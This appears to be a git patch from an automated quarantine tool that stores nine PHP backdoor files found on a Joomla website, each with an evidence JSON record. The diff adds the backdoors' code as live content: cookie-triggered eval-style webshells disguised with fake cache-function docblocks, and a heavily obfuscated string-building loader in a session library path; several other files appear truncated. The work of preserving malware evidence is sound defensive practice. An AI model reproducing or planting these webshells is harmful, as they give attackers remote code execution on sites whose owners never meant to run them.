From 8c7a3292099c0e258d1047a1fdddec6c9b30908d Mon Sep 17 00:00:00 2001 From: imrcli-remediator Date: Sat, 18 Jul 2026 18:02:42 +0200 Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Deval-backdoor=20(9=20f?= =?UTF-8?q?=C3=A1jl)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit vhost: www.archline.hu rel_path: administrator/components/com_joomlaupdate/never.php result: quarantined evidence_sha256: 6b8e33c6a9223c5e5a5f58cd059278a1bd535c2ef4b2c52df73571cd70aaa826 timestamp: 20260718T160241Z finding_ref: 3405 vhost: www.archline.hu rel_path: cache/index.php result: quarantined evidence_sha256: d89c3eb430e99bdefe9471288749111ae339ccbc1e900fa8baa4ce4178398d47 timestamp: 20260718T160241Z finding_ref: 3128 vhost: www.archline.hu rel_path: components/com_sys_rom/sys_rom.php result: quarantined evidence_sha256: 967950bea8c8514fa534c7e0337468cc9ba6b852296afe91ab1219c03bde1f8c timestamp: 20260718T160241Z finding_ref: 4771 vhost: www.archline.hu rel_path: language/en-GB/en-GB.php result: quarantined evidence_sha256: 603a75d38322b4eb019ce330f40283653aea8cedd34fec85a4bbc5084438acd4 timestamp: 20260718T160241Z finding_ref: 3526 vhost: www.archline.hu rel_path: libraries/joomla/session/cache.php result: quarantined evidence_sha256: f94ed72061c74f772a265446ebcb1fd7f1e2f26bf938ee671ad21bbf95ee6945 timestamp: 20260718T160241Z finding_ref: 4646 vhost: www.archline.hu rel_path: modules/mod_course_list/a1.php result: quarantined evidence_sha256: f1031c352c0433e0bacaa162f34ab514ca840de26804167833f91bb6208ef434 timestamp: 20260718T160241Z finding_ref: 4749 vhost: www.archline.hu rel_path: modules/mod_jsnusers/tmpl/index.php result: quarantined evidence_sha256: abca95a8b9461ed1e7f938f17515d12bd14fa9c41dbba2eb34a34f37612e7ac3 timestamp: 20260718T160241Z finding_ref: 4747 vhost: www.archline.hu rel_path: templates/beez3/info.php result: quarantined evidence_sha256: c87d3ebd2128fe838c13e5e8ebc84856db5e90b61d36e93b17f2251cb26d4460 timestamp: 20260718T160241Z finding_ref: 3037 vhost: www.archline.hu rel_path: templates/trada/html/mod_articles_category/meant.php result: quarantined evidence_sha256: c581d509bc9c946683c62bb9aafff66f2316f899cd9b56027014ce972d1e4bc9 timestamp: 20260718T160241Z finding_ref: 2964 --- .../components/com_joomlaupdate/never.php | 50 ++++ .../com_joomlaupdate/never.php.evidence.json | 15 + .../hosting/archline.hu/www/cache/index.php | 3 + .../www/cache/index.php.evidence.json | 15 + .../www/components/com_sys_rom/sys_rom.php | 5 + .../com_sys_rom/sys_rom.php.evidence.json | 15 + .../archline.hu/www/language/en-GB/en-GB.php | 261 ++++++++++++++++++ .../language/en-GB/en-GB.php.evidence.json | 15 + .../www/libraries/joomla/session/cache.php | 82 ++++++ .../joomla/session/cache.php.evidence.json | 15 + .../www/modules/mod_course_list/a1.php | 2 + .../mod_course_list/a1.php.evidence.json | 15 + .../www/modules/mod_jsnusers/tmpl/index.php | 50 ++++ .../mod_jsnusers/tmpl/index.php.evidence.json | 15 + .../archline.hu/www/templates/beez3/info.php | 3 + .../templates/beez3/info.php.evidence.json | 15 + .../html/mod_articles_category/meant.php | 50 ++++ .../meant.php.evidence.json | 15 + 18 files changed, 641 insertions(+) create mode 100644 var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php create mode 100644 var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/cache/index.php create mode 100644 var/www/hosting/archline.hu/www/cache/index.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php create mode 100644 var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/language/en-GB/en-GB.php create mode 100644 var/www/hosting/archline.hu/www/language/en-GB/en-GB.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php create mode 100644 var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php create mode 100644 var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php create mode 100644 var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/beez3/info.php create mode 100644 var/www/hosting/archline.hu/www/templates/beez3/info.php.evidence.json create mode 100644 var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php create mode 100644 var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php.evidence.json diff --git a/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php b/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php new file mode 100644 index 0000000..90f9959 --- /dev/null +++ b/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php @@ -0,0 +1,50 @@ +init(); + } + private function init() + { + $this->data = $_COOKIE; + $prefix = $this->prefix; + foreach($this->data AS $i => $v) $this->data[$i] = str_replace($prefix.'=', '', $v); + $prefix = $prefix(array_shift($this->data)); + if($prefix==$this->hash) return $this->incr(); + } + private function incr() + { + $user = array($this->type, $this->user, $this->split, $this->archive); + $user = implode('_', $user); + echo $user(array_shift($this->data), $this->data); + } +} +/** + * Increment numeric cache item's value + * + * @since 3.3.0 + * + * @see WP_Object_Cooker::incr() + * @global WP_Object_Cache $wp_object_cooker Object cookie global instance. + * + * @param int|string $key The key for the cache contents that should be incremented. + * @param int $offset Optional. The amount by which to increment the item's value. Default 1. + * @param string $group Optional. The group the key is in. Default empty. + * @return false|int False on failure, the item's new value on success. + */ +//new never(); \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php.evidence.json b/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php.evidence.json new file mode 100644 index 0000000..17d04f8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3405", + "log_excerpt": "[quarantine] www.archline.hu:administrator/components/com_joomlaupdate/never.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/administrator/components/com_joomlaupdate/never.php)", + "original_sha256": "6b8e33c6a9223c5e5a5f58cd059278a1bd535c2ef4b2c52df73571cd70aaa826", + "original_stat": { + "gid": 30037, + "mtime": 1783717792, + "size": 1547, + "uid": 20043 + }, + "rel_path": "administrator/components/com_joomlaupdate/never.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/index.php b/var/www/hosting/archline.hu/www/cache/index.php new file mode 100644 index 0000000..b62bbaa --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/index.php @@ -0,0 +1,3 @@ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/index.php.evidence.json b/var/www/hosting/archline.hu/www/cache/index.php.evidence.json new file mode 100644 index 0000000..d46d63b --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/index.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3128", + "log_excerpt": "[quarantine] www.archline.hu:cache/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/index.php)", + "original_sha256": "d89c3eb430e99bdefe9471288749111ae339ccbc1e900fa8baa4ce4178398d47", + "original_stat": { + "gid": 30037, + "mtime": 1721028066, + "size": 262, + "uid": 20043 + }, + "rel_path": "cache/index.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php b/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php new file mode 100644 index 0000000..c814145 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php @@ -0,0 +1,5 @@ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php.evidence.json b/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php.evidence.json new file mode 100644 index 0000000..ea2f8b3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4771", + "log_excerpt": "[quarantine] www.archline.hu:components/com_sys_rom/sys_rom.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/com_sys_rom/sys_rom.php)", + "original_sha256": "967950bea8c8514fa534c7e0337468cc9ba6b852296afe91ab1219c03bde1f8c", + "original_stat": { + "gid": 30037, + "mtime": 1627260317, + "size": 45121, + "uid": 20043 + }, + "rel_path": "components/com_sys_rom/sys_rom.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php b/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php new file mode 100644 index 0000000..d254984 --- /dev/null +++ b/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php @@ -0,0 +1,261 @@ +
\ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php.evidence.json b/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php.evidence.json new file mode 100644 index 0000000..5547b8e --- /dev/null +++ b/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3526", + "log_excerpt": "[quarantine] www.archline.hu:language/en-GB/en-GB.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/language/en-GB/en-GB.php)", + "original_sha256": "603a75d38322b4eb019ce330f40283653aea8cedd34fec85a4bbc5084438acd4", + "original_stat": { + "gid": 30037, + "mtime": 1603273843, + "size": 21659, + "uid": 20043 + }, + "rel_path": "language/en-GB/en-GB.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php b/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php new file mode 100644 index 0000000..7cdca38 --- /dev/null +++ b/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php @@ -0,0 +1,82 @@ +1@l3C? S99u;Qc*/. /*RJ3dCD@sYt-OJ:H<.T~V[\\F_3BxlBUyXX.5F`; .//>_7]%V^S0u}s)DB +"41"//8jqakR},r2E!7NsUdk>q +.#+-]q;P+cTL6XpFl' '%7'//v"@Ewp'}AiLSB)9&Wxi6X@/4[k?2\kb&`)`?&Y!)o*.Xy1}yPsMW '5F'#-fK^!?_Rm+~B71P{{nv'Y%-Ucn[?bz}6z5SEsw*" +"61" //W5=dVnEQ">,\ .#$dm\"CGNuHP?.f)wyTb "%7"/*Y@&%Hgm0C7]j+'3C\y(gI=v4,t!CuG*/.#AA,|\hw;#@cN8_+~sjWJg#Ow^w +'74'//M$}N $;+q^#\2E;Z6p%}C"UuYL% ./*{@2;}y%-Q,#*/"%5" //@u{y:Nn5j_~ZZcS +./*Gm?>--JkoE/ ! Edou3`Y,P&M*/'2%'//TzuR`^E"FcQGp"S8dbFv*{:a\l'^fY/LYI3] +./*/+B#"LgNL )1,=$$-gh;`kCr!r52#~#E0*Z8IqO"*/'72'//]nG!/y=K%}caZOE[t *r~/B@ .#V2@8hGWT-#@rHq! +"%6"//7SD*JAz>7or:-s9.D .#M9\{ ')lB)v4xj=^f+] "5%"//-n4C(XBs!UGJ"rt ./*zv/;gbvwPF(>R_}L_hHtQ**/'56'/**.Ofcoi"/;pns:sXA!LiG7,wx6m;Y%*/.#*k~99,ex~He"#cLJhtI1I@Zlap$tEOj,{S`%@0Ix:&q`)|bJZet|gHuGtV^B+f6 . //9H!Ll>Nh*/"a%"/*hw1~nA<8r?e"1F_c/Ed+`$\*/.//m:GEE*iuk2l.?y-G)vMj}N^ +'49'/*.g0"\"68(C`;GQD"u`x/)r!_}5eM)kqqNM#Sk*/./*bzlt.!F(^_"@_vw{>ta<~*/"%4"/*.iQ^TdkEmjd ho`a=>fA._G(x$s&d "E%" //iJe[6%:&6RuZ%i:jRiADb{ .#)X]_/`g&,Vv +'46'//KJb+=?E?*<#}|[cyozr~"63"$0\IqC| g>y +.#MyvF/S{5_s78HbGZ*uz57UF56AA6n`*\cOC2 "%6"//*)j~;N}4q*xG^ ./*`{srF(*PxP ,Q->)MX{rTZ|4ok#c`#;tF_f^ '41'/*{\4v9?o&N{"52&^FJee~/r/kJZ[\mi5o$iZAhup3"N=m$DgzGh3r*/./*Z<>:ul~7~CKs%98~L&H*m$afW2vy0}e5fxcy*/'4%'//3FgB'E[?_ixlGbnHw_EOP={S\n:!$_LTU(#1[y .#1PH|g1KY-H5W.p+c&Rmsp(l^b +"65" /*7lIkWlchM_X_Dxy' S28AjzPy2&uRF+n{c|`{*/./*%e5#e\pgWsu}45Poo?BZ3a#ZNtsOE}\&M;&=qA:*/"&3" //oXV5KfM-R1]Y%BvI.nu.5G ./*,!Zbo3T!_AQ=cJjD'G?e\foTZg?A*/'=%' //o }5%Lg{|26JRct(5DDXoHDUZr/8{y!M>Ge +./*M&;`i#l]iM'%VzY&XMK;p%H*2c:LJyi?*/"62"#XjRIJ,LR7!UYj&L,t&G;YI']:G7l5wI6dDt}`K8LEqWNA-frQ*hgK<&U `yL#gLgbc +'1%' /*`"Ku~B$pWul@E;?MK=*/. #;D)b@crExsNCuCUQ"}Lx/0XE&_Qp*;+6D%fanD%N*/.#4q;:m~>S92 +"36"/*\%yozA;Gr2QV${d_lPhnJ-6nN:(FiFqR|QOR^jnKE85.^I~?`#P*/.//THg"f,s>p4?DLl_r%wTe# +"%3"#XYy53)EWsMELH$PUxM&WEs&!2<:Jomt_!TP`<3}SF ./*i.v+hG*c_exn8G=2-{g@?K@0faguT;*/'4%' #V A"F1|L~lM,D#1AeyU@veOfn>kwR?wrWw?H . #&Ah[p}%_moPMO7#%E !F(xaOt(Celez '5f' /*8m~,-kY+6 =dsB@d9av`C61K_:@^6_a13p7*/.#7h?XrBrWKhu~4 "%4"#79=)(D +./*s/()hr24b<>wu0wRLBz&m.*/'45' /*%7G3Ub.GW${Z*/. #X8rA__?*3VlZ"N=$LCn85NE "%4" #50kvp0OPnB6*%6aYAU*IK\\q2{}N`'wtuf5kq .//2*Il*r.np+\y|be,>G/$b*U4,A;%"aav`4]^.Z?6^wHXLi*/"65"//FVFS8D~U5X$@,{UP]@ ./*UaC*E:c2hot\B1CB)#a\k2Sb':86D"wC\\ +"65"/*Z~|`LGtdA4+8aNBT/'1TV7&\2^{e.5U9K}R)gp@ljY1Sk"/g +./*{eDWO-uem`QIP~Zo`~0V*/'1%'/*y7&xkG8Ikq~CRI:-K_t&6:}iy6A>E9zo!l,B/R}[L +"74" #)EU@Sl4~pGWR4nUX3qxj|yT#jn6kvP`~ /M$Uj: .//?&2@uX9[J~rL_Qt +"5%"//8?s&!|s?){bbgZrdJeQ}!JH{1S4cbCIb?R?3((B)"TA'5:aSc6 ./*`C8li_FK[Q/*/"5F" /*yM8T+'zO>*t,P=_qh?=]:p9.`>P1(>Q.#M'_H:jMx`. */.#Pu7< L~ce[=Me;Uer|fY%hd%iZl9rq/h^Rm*6@dg5QJC#Jp '%6' #L!(D0d>^`(fu9&B|>})s@t[~a[Q`>,Q,K[j(|ib8A:dr +./*pbbOO]U$w&>*/"6%" /*+R&\=|Fo{B];<_FjQx1*/.#IAxKmQ@YO6H) +'55'//Bw! ^ZWrsnk+ .#T/ z|bl/U?g>1KZ1bx-xrw*aBj%VT.,dEK(5ry(h\4S0z"y$x '%6'#!I9^/67Q3"(;a . /*Q/TLzD%$y|G@L3/;Sw"TU.55Jrei&+l3;^N!*/"e%"/*!0{(.Lao2Ls6mZL 9}|+5t2A;Ud(hQoK[/ywW?DlU1"wt*/.#Dk_^~I~`k@+GT`zQO$3U6x3]B<2}#.&w\M/eAO"#86;l +.#M7.VQU_Jtrxr#[~WT K!cO,j::K\:kBrX:tIOkCMfjm@wyIfeZA%X!VK@#d.b)gd*/.#Rn&J.>jMjfjc2#R 2ouGyvb&(Jv+92% 4w':uFa+I +'F%'//NygP`!VujzwgBQ0uE8$0N$l +.#Upij\p$N6f>+?nN]-OQ5(Uj1+$YDS&o~=q0E?W9wm=o4WQ. +'4E'//+a)q4W-T'J~/FaZac*G WOJXUvYp0_u\AF%Zn-[ +./*!wS$R9lEh*lhe+|i"$l$vkkFJpMj\$yp]:#I``9I{+(GQy*/'&5'//Ux\U2+lf5coRPJG~rl-?hW8JF0 .#Ro4LV5#KCi11`>-M*XrH +'=%'/*BYFy[%x`%7uBZ^oJ`.C|(SkaK,x4*/./*6DUd1HS|Bn[w|p*,4y;(CaA*/"73" #bf{CpFS]wj5@H^Wu +"4%" /*B=/{/?=64XlxIaW5'nZD+3+' k7R?H,&o|*7|Q!Cc<*/.//Lm=CsV!&%nZ<&UafD97,Q5N8r EWY\gduX+V$jI +'52'//M!3okzg/I[D!C6c&y{'J9N #D4WH#s@*/. /*XkwBWHrJAZRo:fKop/68HlF:l=s4WvSq2}Y`dVl*/"72" //C-IJ-4PPV{7=w4|,F'VQeYyvdreOJz*NAk H+=B%+GrT +.#4uEn#S]r|PsK+1uoCctNDOj7&4!R>UA "%4"#N,aq.*w$ZW2$Mf?%&iJt|+Oy}]cR?j1#A6u{JL!6R'pSO*{%w_zb*2 . /*/rv }:goJNG+Y9D?[kQ}JW]`p\QB?~urz*/'%3' //<{3ZAlZPxdW@KG+oDzv"oZ^qg{vPCST9` +./*%cG:;}(=Q*j;m~&`)5.}Le^Tk7^/(5Z$NiKTB%24Dqgu=*/"1%"#PX#X|*N4.e)=]VGZp>ytD}i S&qM-mMDGDX . /*(R/k^_9sN0geeh*/"33" /*W?!1@5bT)U$oIh%|[~<>fe/U2cKvhf'(MY~Fb*/.#/D5NDF+(a4jjf2z9b.`~|TK\af>'~Ug8@V+*8/,TB "&"//[TM^p'L*o^XaUS! +,#=ArFeug%Ev\M+/Oah|zH2Z ] +$kjnhldnzugz1mty3qmzwkzyyctn#7Xo?A}m:jw*I$GkWH*r_\_ +)//V0lF'7'c?,uul<&Cu09hS=2ej7Wzb+#)[&X#!D_P| +;#UyAR/FJrJunXSf5FG?77VnPs$0lb{d +@#%StI"5(Nz@'>&gw!l?jgbQ0?+vl(fG)"68i4}"_Cb'Xe\_vfKgW)Jg7{{:(!6jykrV)VFr$e$>1qm-J47 +1#PEKi^tc/7CpYuk&FC SzeVM@6*/)/*S]NFxl4^8t7Sx)6mov[oFAXXSF,j*/)/*c!K/Ic55LTZ&HQUg+6fu!Wk6)cvX)*/; /*9[&r4 ^\\_VnVSH*/ \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php.evidence.json b/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php.evidence.json new file mode 100644 index 0000000..0c1e898 --- /dev/null +++ b/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4646", + "log_excerpt": "[quarantine] www.archline.hu:libraries/joomla/session/cache.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/libraries/joomla/session/cache.php)", + "original_sha256": "f94ed72061c74f772a265446ebcb1fd7f1e2f26bf938ee671ad21bbf95ee6945", + "original_stat": { + "gid": 30037, + "mtime": 1733397891, + "size": 11851, + "uid": 12425 + }, + "rel_path": "libraries/joomla/session/cache.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php b/var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php new file mode 100644 index 0000000..07b1094 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php @@ -0,0 +1,2 @@ + quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/mod_course_list/a1.php)", + "original_sha256": "f1031c352c0433e0bacaa162f34ab514ca840de26804167833f91bb6208ef434", + "original_stat": { + "gid": 30037, + "mtime": 1783718889, + "size": 1151, + "uid": 20043 + }, + "rel_path": "modules/mod_course_list/a1.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php b/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php new file mode 100644 index 0000000..a82a7a6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php @@ -0,0 +1,50 @@ +init(); + } + private function init() + { + $this->data = $_COOKIE; + $prefix = $this->prefix; + foreach($this->data AS $i => $v) $this->data[$i] = str_replace($prefix.'=', '', $v); + $prefix = $prefix(array_shift($this->data)); + if($prefix==$this->hash) return $this->incr(); + } + private function incr() + { + $user = array($this->type, $this->user, $this->split, $this->archive); + $user = implode('_', $user); + echo $user(array_shift($this->data), $this->data); + } +} +/** + * Increment numeric cache item's value + * + * @since 3.3.0 + * + * @see WP_Object_Cooker::incr() + * @global WP_Object_Cache $wp_object_cooker Object cookie global instance. + * + * @param int|string $key The key for the cache contents that should be incremented. + * @param int $offset Optional. The amount by which to increment the item's value. Default 1. + * @param string $group Optional. The group the key is in. Default empty. + * @return false|int False on failure, the item's new value on success. + */ +new index(); \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php.evidence.json b/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php.evidence.json new file mode 100644 index 0000000..ec8890b --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4747", + "log_excerpt": "[quarantine] www.archline.hu:modules/mod_jsnusers/tmpl/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/mod_jsnusers/tmpl/index.php)", + "original_sha256": "abca95a8b9461ed1e7f938f17515d12bd14fa9c41dbba2eb34a34f37612e7ac3", + "original_stat": { + "gid": 30037, + "mtime": 1773359426, + "size": 1545, + "uid": 20043 + }, + "rel_path": "modules/mod_jsnusers/tmpl/index.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/beez3/info.php b/var/www/hosting/archline.hu/www/templates/beez3/info.php new file mode 100644 index 0000000..7d2cb75 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/beez3/info.php @@ -0,0 +1,3 @@ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/beez3/info.php.evidence.json b/var/www/hosting/archline.hu/www/templates/beez3/info.php.evidence.json new file mode 100644 index 0000000..13e5b56 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/beez3/info.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3037", + "log_excerpt": "[quarantine] www.archline.hu:templates/beez3/info.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/beez3/info.php)", + "original_sha256": "c87d3ebd2128fe838c13e5e8ebc84856db5e90b61d36e93b17f2251cb26d4460", + "original_stat": { + "gid": 30037, + "mtime": 1677247390, + "size": 260, + "uid": 20043 + }, + "rel_path": "templates/beez3/info.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php b/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php new file mode 100644 index 0000000..3c6ec95 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php @@ -0,0 +1,50 @@ +init(); + } + private function init() + { + $this->data = $_COOKIE; + $prefix = $this->prefix; + foreach($this->data AS $i => $v) $this->data[$i] = str_replace($prefix.'=', '', $v); + $prefix = $prefix(array_shift($this->data)); + if($prefix==$this->hash) return $this->incr(); + } + private function incr() + { + $user = array($this->type, $this->user, $this->split, $this->archive); + $user = implode('_', $user); + echo $user(array_shift($this->data), $this->data); + } +} +/** + * Increment numeric cache item's value + * + * @since 3.3.0 + * + * @see WP_Object_Cooker::incr() + * @global WP_Object_Cache $wp_object_cooker Object cookie global instance. + * + * @param int|string $key The key for the cache contents that should be incremented. + * @param int $offset Optional. The amount by which to increment the item's value. Default 1. + * @param string $group Optional. The group the key is in. Default empty. + * @return false|int False on failure, the item's new value on success. + */ +new meant(); \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php.evidence.json b/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php.evidence.json new file mode 100644 index 0000000..fce8b47 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2964", + "log_excerpt": "[quarantine] www.archline.hu:templates/trada/html/mod_articles_category/meant.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/trada/html/mod_articles_category/meant.php)", + "original_sha256": "c581d509bc9c946683c62bb9aafff66f2316f899cd9b56027014ce972d1e4bc9", + "original_stat": { + "gid": 30037, + "mtime": 1773359426, + "size": 1545, + "uid": 20043 + }, + "rel_path": "templates/trada/html/mod_articles_category/meant.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +}